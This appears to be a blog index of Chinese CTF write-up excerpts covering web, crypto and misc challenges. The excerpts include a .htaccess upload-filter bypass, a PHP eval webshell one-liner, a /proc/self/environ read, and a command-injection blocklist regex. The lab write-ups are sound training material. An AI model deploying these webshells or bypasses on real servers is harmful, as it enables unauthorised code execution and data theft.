buuctf wp 11
[buuctf] web + crypto write up 11[Crypto] 丢失的 md5题解直接跑出来就行, 这里改成了 python3 支持的形式: 123456789import hashlib for i in range(32,127): for j in range(32,127): for k in range(32,127): m=hashlib.md5() m.update('TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM') des=m.hexdigest() if 'e9032' in des and 'da' in des and '911513' in des: print des [Crypto] Alice 与...
Polar ctf WEB 困难区 write up 1
[Polar ctf WEB] 困难区 wp 1[Polar WEB] 上传题解首先尝试 shell.php 无论如何不能成功, 考虑 jpg + .htaccess 的组合: 首先 shell.jpg 可以传, 之后 .htaccess: 把 file 换成 url 编码: 成功, 可惜似乎不能解析; 例外图片不能有 <?, 因此试试传 base64 的图片码, 用 .htaccess 来解码: 反斜杠绕过试试: 12345#define width 1337#define height 1337php_value auto_prepend_fi\le "php://filter/convert.base64-decode/resource=./shell.jpg"AddType application/x-httpd-php .jpg 成功; 这题的关键就在于利用反斜杠去 bypass; [WEB] PHP是世界上最好的语言题解开门审计: 1234567891011121314151617181920212223242526...
buuctf web wp 9
[buuctf] web区 write up 9[GXYCTF2019] StrongestMind题解打开是一个计算题的提交页面, 根据网页内容应该要算 1000 次; 观察一下返回的结构, 写个自动化计算的脚本就行了: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#!usr/bin/env python# strongest_mind.pyfrom time import sleepimport requestscount = 0url = 'http://2f3e742e-8766-4a75-86af-b24b3d2c7ff1.node5.buuoj.cn:81/index.php'proxies = { "http": "http://127.0.0.1:8080", "https":...
NSSCTF Web + mobile 部分 WP 3
[NSSCTF Web + mobile] 部分 WP 3[极客大挑战 2020] greatphp 题目描述:1.md5(sha1) a string, an array, or?2.End the past and create a new phpcode! 代码审计1234567891011121314151617181920212223242526272829<?phperror_reporting(0);class SYCLOVER { public $syc; public $lover; // 反序列化时调用 public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ ...
buuctf web wp 8
[buuctf] web区 write up 8[2022DASCTF MAY 出题人挑战赛] Power Cookie题解点登录, 然后抓包, 可以看见服务器返回了一个 cookie: 所以传 cookie: admin=1 过去, 直接显示了 flag; [2021DASCTF 实战精英夏令营暨 DASCTF July X CBCTF 4th]cat flag代码审计开门见源码: 12345678910111213<?phpif (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (!preg_match('/flag/i',$cmd)) { $cmd = escapeshellarg($cmd); system('cat ' . $cmd); }} else { ...
NSSCTF web wp 2
[NSSCTF] Web区 Write Up 2[陇剑杯 2021] webshell 题目描述: 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客获取webshell之后,权限是______? 流量分析根据题目描述应该是传了个 webshell 到服务器, 那首先聚焦一下 POST 上传的文件, 过滤掉其他包: 观察 POST 的参数内容可以发现传递的指令, 前面传失败的时候服务器会返回 404 状态码, 这里传了 whoami 指令, 并且服务器返回了 200, 比较可疑: 把返回包也抓了, 把其中的 html 复制在 vscode 里打开: 123456<tr><td class="e">Apache Version </td><td class="v">Apache/2.4.7 (Ubuntu) </td></tr>\n<tr><td class="e">Apache API...
buuctf wp 10
[buuctf] misc区 write up 10二维码题解打开是一个二维码, 扫码是一串文本: secret is here 用 binwalk 扫出一个加密的压缩数据: 用 dd 指令把其中的压缩数据提取出来: 1dd if=QR_code.png bs=1 skip=471 of=4number.zip 15 字节是压缩前的原始大小; 参数: if input file, 输入文件; of output file, 输出文件; bs1 block size, 每次读取 1 字节, 默认是 500 字节; skip 跳过块量, 这里是 471 个块 (块由 bs 决定大小); count 只复制一定数量的块出来; seek 在输出文件中跳过若干个块再写, 一般用于追加; iflag=skip_bytes,count_bytes 明确告诉 dd skip 和 count 单位是字节, 而不是 block。可以和 bs 配合使用。 或者也可以用 foremost: 1foremost QR_code.png 提取出来之后显示需要密码, 根据名字,...
buuctf web wp 7
[buuctf] web区 write up 7[NewStarCTF 公开赛赛道]So Baby RCE代码审计典中典之开门审计代码: 1234567891011 <?phperror_reporting(0);if(isset($_GET["cmd"])){ if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){ echo "Don't Hack Me"; }else{ system($_GET["cmd"]); }}else{ show_source(__FILE__);} 非常一目了然的 RCE,...
NSSCTF web wp 1
[NSSCTF] Web区 Write Up 1 SWPUCTF 2021 新生赛[SWPUCTF 2021 新生赛]gift_F12代码审计直接在源码里看见了: [SWPUCTF 2021 新生赛]easyupload1.0打开是一个文件上传界面, 直接传 shell 被拦了 文件上传绕过修改文件头类型就可以绕过了; 连接到终端, 有个 flag.php, 可惜不对: 枚举了一下发现在环境变量里: cat /proc/self/environ [SWPUCTF 2021 新生赛]easyupload2.0题解跟上一题类似, 不过传 phtml 就行了: 123<script language="php"> <?=@eval($_POST['shell']);?></script> 上传成功不过不能执行, 可能是因为 php 版本 >= 7.0 (这种写法在 7.0 后被移除), 直接只传中间这一句就行了: 同样的方法就能找到flag: [SWPUCTF 2021...
buuctf web wp 6
[buuctf] web区 write up 6[NewStarCTF 2023 公开赛道]Final 题目描述: Best wishes for you. just search! 打开靶机是一个 Think PHP 5.x 版本的首页; 扫了一下没有什么特别明显的信息泄露, 那么切入点应该在 Think PHP V5 框架上; Think PHP 框架首先有必要了解一下 MVC 架构; MVC 架构MVC, 就是 模型-视图-控制器 架构, 也可以理解为一种开发模式; 三者各有分工: 模型 (Model): 负责编写 module 类, 存储和操作系统的中心数据, 这里应该存放纯粹的业务逻辑。 视图 (View): 主要负责把数据渲染为 html/json 类, 将信息显示给用户, 也就是前台显示。 控制器 (Controller): 编写 class 类文件, 处理用户输入的信息。接受请求, 校验/解析输入, 调用业务逻辑: 负责从视图读取数据, 控制用户输入,...






























































